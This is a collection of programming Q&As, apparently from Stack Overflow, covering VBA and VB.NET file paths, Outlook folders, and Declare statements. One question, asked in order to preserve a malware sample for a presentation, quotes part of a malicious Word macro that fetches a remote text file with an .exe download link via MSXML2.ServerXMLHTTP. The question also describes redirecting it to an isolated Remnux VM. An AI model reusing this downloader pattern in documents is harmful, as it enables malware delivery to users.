Setting a constant from a variable value - vba

I would like to set the path of my database as a constant.
The problem is that the path is stored in a INI file and the variable is set when Outlook is launched. VBA won't compile if the constant isn't hardcoded.
The reason why I want to use a constant is because, for some reasons, after a few hours/days with Outlook running, it sometimes seems to lose the value of its variables (never experienced this problem with a hardcoded constant). The path variable just get emptied, and then when VBA tries to reach the database, the user gets an error.
I can't hardcode the path just because some users don't use the same server UNC path. This path might change once a year or so, it's easier to just edit the INI file and restart Outlook than ask for a programmer to edit the right line in the code on each user's computer.
Any ideas?

You cannot change the value of a constant at run-time. Those values are set when the code is compiled (even if you don't explicitly compile VBA code it is still done Just-In Time (JIT) in the background).
If you don't want to be constantly running the lookup code (because it is inefficient, for example), than you can use a static variable within a function:
Function GetDbPath() As String
Static DbPath As String
If Len(DbPath) = 0 Then
DbPath = 'your code here'
End If
GetDbPath = DbPath
End Function

Related

Setting Directories and the If Len(Dir(... statement in VBA

I have a file exists under this path:
//path/folder1/folder2/datafile.gdp
It is an input to an external program being called from vba in this manner:
Sub RunProgram()
Dim wsh As Object
SetCurrentDirectory "\\path\"
ChDir "\\path\folder1\folder2\" 'Set Directory
Set wsh = VBA.CreateObject("WScript.Shell")
check = CurDir
Statusnum = wsh.Run(Command:="program.exe ""\\path\folder1\folder2\datafile.gdp""", WindowStyle:=1, waitonreturn:=True)
But on the final line, including \path\folder1\folder2\ before the input file name appears to cause the external program to want to write some files into a duplicated directory that doesn't exist, causing an error. It used to work in this format before the .exe was updated by an external company. It now wants to write some files here, all prefixed with the name of my input file:
\\path\folder1\folder2\PATH\FOLDER1\FOLDER2\
Hoping to fix this, I changed the final line of the code to this, following some comments on a previous post here on SO:
Statusnum = wsh.Run(Command:="program.exe ""datafile.gdp""", WindowStyle:=1, waitonreturn:=True)
Since the directory is set correctly prior to calling the .exe, I thought removing the path for the input file would solve the issue.
The program now launches, but doesn't appear to load the input file with it and no longer runs calculations automatically in the background as it should. Instead, it launches and the main .exe window pops up to the user as if it had just been launched for setting up a new project, calculations don't occur automatically.
To check which directory the VBA code was try to pull my datafile.gdp from, I created these loops directly before calling the .exe:
If Len(Dir("\\path\folder1\folder2\datafile.gdp")) = 0 Then
FileIsMissing1 = True 'I use Excel-VBA watches to break if true
End If
If Len(Dir("datafile.gdp")) = 0 Then
FileIsMissing2 = True
End If
Bizarrely, neither of these loops causes a break. The file only exists in
\\path\folder1\folder2\datafile.gdp
Not in the duplicated directory... so why are both of these statements satisfied? Does entering the directory make no difference even when the current directory has been set? The current directory seems to be impacting the line:
Statusnum = wsh.Run(Command:="program.exe ""\\path\folder1\folder2\datafile.gdp""", WindowStyle:=1, waitonreturn:=True)
But not these if loops, and I'm not sure why.

Excel 2007 VBA use string variable value in object variable

Good afternoon guys!
I looked around, but I'm not finding anything that addresses my particular issue, so I'll do my best to explain.
Specs:
Excel 2007, VBA, Outlook 2007
Okay, so I've been reworking some scripts that I created to automate our reports in Excel / Avaya CMS. For the past few years I've been the sole person doing our reports, so it wasn't ever necessary to set things up on anyone else's computers. However, things are changing and I'm in the process of updating the scripts / training others to use them. At the moment, when I put my scripts on their computer, I have to go into the VBA code and manually set every reference to their own relative folder paths / outlook folder paths. Painless enough, except when I do any type of changes to the scripts and have to go through the whole process again on each computer.
So this was my solution: Create a config worksheet on the automated reporting workbook, on that config worksheet store the file paths, and in the code simply use variables to reference the config worksheet. This should make it as easy as setting the variables once from the config on a new computer without having to touch any of the lines of code.
Problem: At midnight there is data that is emailed to us from another office. We use Outlook at this office, so I've simply been having it go to the folder specified in the scripts, download the attachments, and then use the downloaded data for the reports. Since everyone sets up their own outlook folders, the paths inside of outlook are different for each user. Since VBA is accessing a worksheet to grab the config information from a cell, it's returning the path for Outlook folders as a string value. However, the outlook folder variable is of Object type, and so it doesn't allow me to use the string variable as it's value, even though the string itself is the actual value the object needs (just not as a string). So is it possible to convert the string value to a value that can be used in the Object variable?
Worksheet Config Cell Value (B5)- The String Value
outNamespace.Folders("Mailbox - Some Guy").Folders("Reports").Folders("ImportantData")
Code:
'Config tab
Dim serverConfig As Worksheet
Set serverConfig = Sheets("CONFIG")
Dim dirOutlookData As String
dirOutlookData = serverConfig.Range("B5").Value
Dim outFolder As Object
Set outFolder = dirOutlookData
Any ideas? Since the string that's returning for dirOutlookData is the value needed for the object variable value, how can I convert the value from the string variable so it can be used in such a way?
Thanks in advance.
Seems too convoluted a solution. Nobody could share their VBA.
In the example provided
outNamespace.Folders("Mailbox - Some Guy").Folders("Reports").Folders("ImportantData"
you could instead use this directly in the VBA
Set mailboxFolder = outNamespace.GetDefaultFolder(olFolderInbox).Parent
You now have the "Mailbox - Some Guy" folder in a generic way not needing to specify "Some Guy".
Set myFolder = mailboxFolder.Folders("Reports").Folders("ImportantData")

How do I modify a word macro .response to use a local file instead?

I'm trying to preserve a malicious macro enabled document infection chain for a presentation. Since the URLs tend to die off rather quickly, I've saved all the files locally, and am trying to modify the macro code to use the local files instead of the response objects based on the URLs, and I'm encountering some issues.
The original code looks something like this (I made up some function and variable names that make a little more sense than the obfuscated garbage I've been dealing with, but the names may not be accurate to their functions)
CONT = Module2.OpenURL("http://malicioustextfile.txt")
Public Function OpenURL(URL As String)
Set fileObject = CreateObject("MSXML2.ServerXMLHTTP")
fileObject.Open GET, URL
fileObject.Send ( VariableIcantRembmer )
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
FileProcessFunction = (a.responsetext)
End Function
And I've modified it to look more like this
CONT = Module2.OpenURL("C:\localfile.txt")
Public Function OpenURL(URL As String)
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileObject = fso.OpenTextFile(URL)
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
Do Until a.AtEndOfStream
FileProcessFunction = FileProcessFunction + a.readline
Loop
End Function
But this causes an overflow later in the program, and doesn't preserve the newlines of the file. Before I just had it doing FileProcessFunction = a.readline, but that was clearly only returning the last line. I don't know if I need character returns (I think I do), and the FileProcessFunction I'm fairly certain is also used to get an .exe file, which won't work with a.readline, I'm pretty sure. The last time I stepped through it, all it pulled from the local .exe was the MZ header, and nothing else.
How can I process the local file objects in a way that will properly mimic the a.responsetext property on a URL request?
Not sure what you're really looking for...
Public Function FileProcessFunction(a As Object)
FileProcessFunction = a.readall()
End Function
I figured out what the problem was. I'm relatively sure what I was trying to do would have actually worked, but I was pointing the Macro to the .exe file instead of the the text file with the download link for said .exe file. The macro was expecting the text file with a link.
The fix I implemented instead of trying to use the local files, was to use a Remnux VM on the host only network hosting the files with python -m SimpleHTTPServer. Then I'd simply set a breakpoint for when the objects were created, and manipulate the locals to point to the files on my Remnux machine rather than the URIs it was actually coded for. Also, set the link in the text file to the Remnux machine, instead of dropbox. Worked like a charm.

Is it possible to specify a location in a user's home directory for a shared library in VBA (in Office for Mac)?

I'm currently using the VBA code similar to the following to specify a location of a shared library for use in communicating (passing a string) from an Office application to a desktop application. The VBA code/macros will need to exist in an add-in (.ppa).
Private Declare Sub sharedLibPassString CDecl Lib "/Users/myUserName/Library/Application Support/myCompanyName/MySharedLib.dylib" Alias "PassString" (ByVal aString As String)
In code from a VBA Macro, I then can do the following.
Call sharedLibPassString(myString)
I've got the communication working, but I'd like to replace the /Users/myUserName/ part with the current user's home directory. Normally on a Mac, you'd specify ~/Library/Application Support/..., but the ~/ syntax doesn't work, producing a "File not found" runtime error.
I discovered that using the following Environment Variable method gets me the ~/ location that I need:
Environ("HOME")
However, I don't see a way to make this part of the CDecl Lib statement, since, as far as I can tell, Environ is evaluated at runtime.
Is there any way to specify a location of a shared library in the user's home directory (~/) in VBA?
Here are a few notes about my environment/approach:
I'm using a Mac, though I believe if there is a solution it would be similar on a PC.
I don't believe it shouldn't matter, but the Office application I'm using is PowerPoint (2011).
The reason I'm trying to access an area inside of the Application Support directory, instead of the default location for shared libraries is because I'd like the Desktop application to place the shared library in a location without an installer, and without requiring a user's or administrator's privileges. If there is a better solution or location to accomplish the same task, this would be very helpful as well.
Sorry for giving a long response, I just wanted to make sure I explained this fairly well.
From this page (Anatomy of a Declare Statement) we read that
The Lib keyword specifies which DLL contains the function. Note that
the name of the DLL is contained in a string within the Declare
statement.
(emphasis added)
From experimentation, the VBE scolds me if I try to give anything but a string constant.
The only work around that I'm aware of requires rewriting the string constant at runtime.
Here is an example of how this could be done: Let's say your delaration statement is in Module1 in your current project, and that you deliberately wrote the declaration in this format at the top of your module:
Private Declare Sub sharedLibPassString CDecl Lib _
"/Users/myUserName/Library/Application Support/myCompanyName/MySharedLib.dylib" _
Alias "PassString" (ByVal aString As String)
You can access that module via code through this (requires permissions to VBA in trust Center listed under Developer Macro Settings):
Dim myModule
set myModule = ActivePresentation.VBProject.VBComponents("Module1").CodeModule
Once you've gained the CodeModule, you can replace the 2nd line directly:
myModule.ReplaceLine 2, Environ("HOME") & " _"
Mission accomplished!
If you do this, you will need to update the path prior to attempting to call your declared sub. There must be a break in execution that allows VBA to recognize the change. Also, you will not be able to modify the code while in break mode.
Now if I were doing this, I'd want to make sure I replace the right line, to not break code. You can check the contents of the 2nd line by calling this myModule.Lines(2,1) which will return the string value of the line.
However, here is a more robust solution that will find the correct line and then replace it (assumes myModule has already been defined as listed above):
Dim SL As Long, EL As Long, SC As Long, EC As Long
Dim Found As Boolean
SL = 1 ' Start on line 1
SC = 1 ' Start on Column 1
EL = 99999 ' Search until the 99999th line
EC = 999 ' Search until the 999th column
With myModule
'If found, the correct line will be be placed in the variable SL
'Broke search string into two pieces so that I won't accidentally find it.
Found = .Find("/Users/myUserName/Library/Application Support/myCompanyName/" & _
"MySharedLib.dylib", SL, SC, EL, EC, True, False, False)
If Found = True Then
'Replace the line with the line you want, second paramater should be a string of the value.
.ReplaceLine SL, Environ("HOME") & " _"
End If
End With
I don't have a Mac, so this is an incomplete answer and I don't know if it will help, but it's a couple of ideas.
I know on Windows, VB doesn't load an external library until you first try to call a function declared with it, and if you specify only the filename in the declare statement, it will use the system path to look for it. Once I did the same thing you are doing, loading a library from a dynamic path, by specifying only a filename, then making a system API call to set the current working directory to the directory of the library before loading it. Changing the PATH environment variable would probably also work.
Second idea: you could hard-code the path to a filename in the /tmp directory; then automatically copy the desired library to that location before loading it. Watch out for the file being in use by another process, but that's only an error if it is a different version of the file to the one that you want.

vb.net application works with files dragged onto the exe, but crashes if there's a space in the file's path

I'm developing an application in vb.net. You drag any type of file onto the exe, and a window pops up with some options for the file, then it saves the file to a different location, works some SQL magic, etc. It works great for the most part.
The only issue I've found is that if the path of the file contains any spaces, the application will crash immediately with the error window: http://i.stack.imgur.com/mVamO.png
I'm using:
Private filename as String = Command$
This is located right inside my form's class declaration, not within a sub/function.
Without this line, my program runs fine (although useless, without accessing the file).
I've also tried (I think this was it, I don't have the code with me at the moment):
Private filename as String = Environment.CommandLine
And it had the same issue.
So, in vb.net, is there a way to drag a file onto an exe and use that path name, even if there are spaces in the path name?
Windows will put double-quotes around the passed command line argument if the path to the dragged file contains spaces. Trouble is, you are using an ancient VB6 way to retrieve the argument, you see the double quotes. Which .NET then objects against, a double quote is not valid in a path name. Use this:
Dim path = Command$.Replace("""", "")
Or the .NET way:
Sub Main(ByVal args() As String)
If args.Length > 0 then
Dim path = args(0)
MsgBox(path)
'' do something with it..
End If
End Sub
If possible, do post your code as it's pretty much anything that can go wrong. Normally, after receiving CommandLine Arg, I would try to use a System.IO.File wrapper and use built-in mechanisms to verify file and then proceed with it further using IO as much as possible. If you are attempting to directly manipulate the file, then the spaces might become an issue.
In addition, there is a way to convert long file path + name to old DOS’s 8.3 magical file path + name. However, I’ll go into R&D after I see what you are doing in code.